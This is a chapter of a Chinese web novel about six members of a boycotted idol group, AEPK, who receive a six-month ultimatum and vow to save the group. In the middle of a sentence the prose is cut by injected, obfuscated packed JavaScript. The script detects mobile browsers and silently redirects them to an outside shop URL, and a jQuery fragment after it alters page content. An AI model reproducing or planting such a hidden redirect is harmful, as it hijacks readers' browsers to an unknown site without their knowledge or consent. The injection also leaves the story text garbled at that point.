沈星辞摔门而去的那个夜晚，老旧宿舍里的灯光亮了整整一夜。
曾经9张床铺挤得满满当当，嬉笑打闹、欢声笑语充斥着每一个角落；顾子轩、傅念、沈星辞、相继离开，3张床铺空荡荡冷清清，被褥整齐叠放，物件一尘不染，像是主人从未在此停留过。
偌大的房间，只剩下蔡希澈、王辉荟、余宇涵、骆闻阳、江亦风、苏妄六个人。
喧闹落幕，离别散尽，决裂收场。
从万众瞩目出道，到资本全面流量封锁，全网恶意围剿，同伴接连离散，人心分崩离析，短短数月时间，他们经历了别人一辈子都遇不到的大起大落、人情冷暖。
没有人哭闹，没有人抱怨，没有人互相指责。
接连离别，早已把所有人的情绪消耗殆尽，只剩下沉淀下来的清醒、隐忍，还有绝境里不肯熄灭的倔强。
六个人安静坐着，没有人主动开口说话。
窗外夜色浓稠，城市霓虹闪烁，繁华喧嚣与这间阴暗潮湿的老旧宿舍格格不入，外面的世界灯火通明，唯独他们身处无边黑暗，看不到一丝光亮。
骆闻阳依旧低着头，指尖紧紧蜷缩，心口沉闷压抑，长久以来的自责并没有因为同伴离开而消散，反而愈发沉重。
他一直在想，如果自己身体健康，没有先天性心脏病，如果自己不是全网攻击的焦点，如果自己没有拖累整个团队，资本就不会针对性封锁AEPK，大家就不会过得如此狼狈，不会有人不堪重压离开，不会有人背叛决裂，不会走到如今六人死守、无路可退的地步。
所有苦难，所有离散，所有绝望，根源都在自己身上。
这份愧疚像沉重枷锁，日夜缠绕着他，让他愈发沉默、愈发自卑、愈发小心翼翼，生怕自己再多一点脆弱，就压垮本就摇摇欲坠的团队。
王辉荟一直默默守在他身旁，察觉到少年身体微微颤抖，轻轻伸手扶住他胳膊，压低声音温柔安抚：“别胡思乱想，离开是他们自己的选择，从来都不是你的错。我们六个留下来，是心甘情愿，不是被迫。”
余宇涵靠在墙壁上，眼底戾气散尽，只剩下无尽疲惫。
他见过异国娱乐圈的黑暗，见过资本打压，见过人心凉薄，却从未见过如此绝望的处境。没有资源、没有曝光、没有舞台、没有收入、公司撒手不管、行业全员封杀、粉丝大量流失，曾经并肩的伙伴一个个转身离开，曾经坚固的情谊碎得支离破碎。
他可以对抗恶意谩骂，可以对抗资本打压，可以忍受清贫艰苦，却无法对抗人心易散，无法留住想要离开的人。
蔡希澈坐在书桌前，一夜未眠。
他作为团队一番、唯一的队长，扛起了所有压力，对接公司、应对封锁、安抚人心、稳住局面，同伴一次次离开，他心痛却无法阻拦，人心各自抉择，他无能为力。
他心里比所有人都清楚，沈星辞私自违约单飞，看似寻找出路，实则自毁前程。整个行业都被资本打过招呼，只要沾AEPK相关，一律封杀抵制，脱离团队单独发展，只会被全行业拉黑，背负天价违约金，彻底消失在娱乐圈。
可即便道理说得透彻，劝说再三，依旧留不住想要走的人。
清晨第一缕微光透过狭小窗户照进宿舍，昏暗房间终于有了一丝光亮。
急促又冰冷的敲门声打破整夜寂静。
经纪人面无表情走进来，没有安慰，没有同情，没有一丝怜悯，手里拿着一份白纸黑字的正式通告，重重放在桌上。
没有多余寒暄，没有半句铺垫，冰冷残酷的话语，一字一句砸进六人心里。
“公司经过高层商议，正式下达最终通牒。”
“第一，你们所有宣传、推广、商务、运营资金，全部永久冻结。后续公司不会再投入一分钱资源，不会对接任何平台，不会帮忙解除流量封锁，不会协调任何行业关系。”
“第二，宿舍、训练场地、后勤保障全部保留现状，不再升级，不再补贴，水电、伙食、医药所有日常开销，全部由你们六人自行承担，公司不再发放任何补贴与生活费。”
“第三，团签合约依旧生效，六年合约未满，任何人不得私自退团、私自接活、私自签约外界，一旦违约，按照合约赔付违约金，走法律程序追责到底。”
“第四，给予你们六个月最后期限。”
“六个月之内，你们必须靠自己打破流量封锁，获得大众热度，拿出出圈作品，拿到正规舞台邀约，证明团队还有存活价值。”
“到期没有成绩，没有曝光，没有转机，公司直接全员解约，AEPK正式解散，从此不复存在。”
一字一句，冰冷无情，不留余地。
不给帮助，不给扶持，不给退路，不给希望。
不阻止你们坚守，也不拯救你们绝境。
任由六人自生自灭，等死或者翻盘，全凭自己本事。
挂着合约束缚，不让随意离开，断了所有依靠，不给一丝支援。
这就是资本放弃他们之后，最残忍、最冷漠的处理方式。
江亦风浑身一僵，不敢相信自己听到的一切，声音颤抖：“连六个月缓冲都没有吗？封锁是别人强加给我们的，不是我们不努力，公司不能就这样放弃我们啊！”
“行业规则，资本施压，公司抗衡不了。”经纪人语气平淡，毫无波澜，“你们火的时候，公司获利万千；你们被封杀，公司承担巨额损失，早就仁至义尽。”
“没有逼你们立刻解散，给你们六个月自救时间，已经是最大情面。”
“能活下去，就继续做偶像。活不下去，就各自回家，平凡过完一生。”
说完，经纪人转身就走，房门重重关上，彻底断绝所有求助可能。
房间里死寂一片。
六个月。
短短一百八十天。
全网全程流量封锁，热搜上不去，视频不推荐，歌曲不上榜，商演无人敢接，综艺无人敢请，舞台无人敢用。
没有录音室，没有编舞老师，没有宣传团队，没有资金支持，没有粉丝助力。
六个一无所有的少年，要在全网封杀、行业排挤、无人看好、前路漆黑的绝境里，靠自己逆风翻盘，打破冰封，绝地重生。
做不到，就永久解散。
曾经9人荣耀成团，如今6人绝境求生。
曾经鲜花簇拥万众瞩目，如今无人问津自生自灭。
巨大落差，冰冷现实，压得所有人喘不过气。
骆闻阳脸色愈发苍白，心脏隐隐作痛，呼吸变得急促。
他不怕吃苦，不怕清贫，不怕没有舞台，就怕六个月之后，团队解散，好不容易留下来的家人，再次分开，好不容易抓住的温暖，再次消失。
他好不容易拥有一个家，好不容易被人守护，好不容易走出黑暗，他不想再回到孤身一人、不见天光的日子。
余宇涵一拳狠狠砸在墙壁上，指节通红发麻，压抑许久的愤怒与无力彻底爆发：“凭什么？我们什么错都没有！努力没有用，坚守没有用，真心没有用，这个圈子本来就不讲道理！”
“我们没做错任何事，只是挡了别人路，就要被赶尽杀绝，就要被逼到解散！”
王辉荟沉默低头，眼底满是
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17606119|205724||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
心酸。
他日复一日拼命练舞，膝盖旧伤反复发作，疼痛难忍也不曾停下，他以为只要足够努力，就总有出头之日，却没想到努力在资本封杀面前，渺小到不值一提。
苏妄始终安静坐在角落，抱着吉他，指尖轻轻拨动琴弦，没有说话，却眼底一片清冷。
他从不奢求流量，不奢求热度，只想要安安静静写歌，安安稳稳唱歌，可如今连安稳创作，都成了奢望。
江亦风强忍着眼泪，努力挤出笑容，想要缓和压抑气氛：“没关系，还有六个月，我们还有时间，我们六个人一起想办法，一定可以熬过去的。”
可连他自己都知道，这句话多么苍白无力。
全网封锁一日不破，所有努力都石沉大海。
蔡希澈缓缓站起身，一夜未眠的眼底布满红血丝，却依旧沉稳坚定，没有一丝慌乱退缩。
他看着身边五个伙伴，看着一张张疲惫、无助、惶恐却依旧不肯放弃的脸，缓缓开口，声音沉稳有力，稳住所有人心神。
“公司不给资源，我们自己找。”
“平台不给曝光，我们自己挣。”
“没有舞台，我们就自己造舞台。”
“没有听众，我们就唱给真心喜欢我们的人听。”
“六个月期限，不是死期，是我们最后的机会。”
“别人放弃我们，我们不能放弃自己。”
“走了三个人，剩下我们六个，一个都不能散，一个都不能怕。”
“从今天开始，忘掉曾经的荣光，忘掉出道的光环，忘掉万众瞩目。”
“我们不再是万众追捧的成团偶像，只是六个绝境自救的普通人。”
“没有助理，没有团队，没有后勤，所有事情，我们自己做。”
“我统筹所有规划，对接所有事情。”
“王辉荟负责全部舞蹈编排、队形调整。”
“余宇涵负责歌词创作、说唱部分。”
“苏妄负责整首歌曲作曲、编曲制作。”
“骆闻阳担任主唱，撑起所有演唱部分。”
“江亦风负责账号运营、拍摄剪辑、对外联络。”
六个人，六个分工，一身多用。
队长、编舞、rapper、作曲、主唱、运营，6人包揽所有岗位。
没有额外人手，没有外界帮助，全靠彼此扶持，彼此依靠。
蔡希澈伸出手，语气郑重：
“最后通牒摆在面前，要么绝境翻盘，曜日重光。”
“要么彻底解散，一别两散。”
“你们，怕不怕？”
王辉荟毫不犹豫伸手叠上去：“不怕。”
余宇涵眼神炽热：“不怕。”
骆闻阳轻轻抬手，声音微弱却坚定：“我不怕。”
江亦风、苏妄依次伸手。
六只手掌紧紧叠在一起，紧紧相握。
没有华丽誓言，没有盛大仪式。
只有绝境同心，生死相依。
“绝不解散。”
“绝不认输。”
“死守六个月。”
“静待破晓。”
狭小、破旧、阴暗、寒冷的宿舍。
没有光芒，没有希望，没有依靠。
却有六颗紧紧相依的心。
凛冬漫长，风雪刺骨。
最后的生死期限已至。
他们一无所有，所以无所畏惧。
从此刻起，六个人抱团自救，从零开始，逆风而行。
一场没有资本、没有流量、没有靠山的绝境逆袭，正式拉开序幕。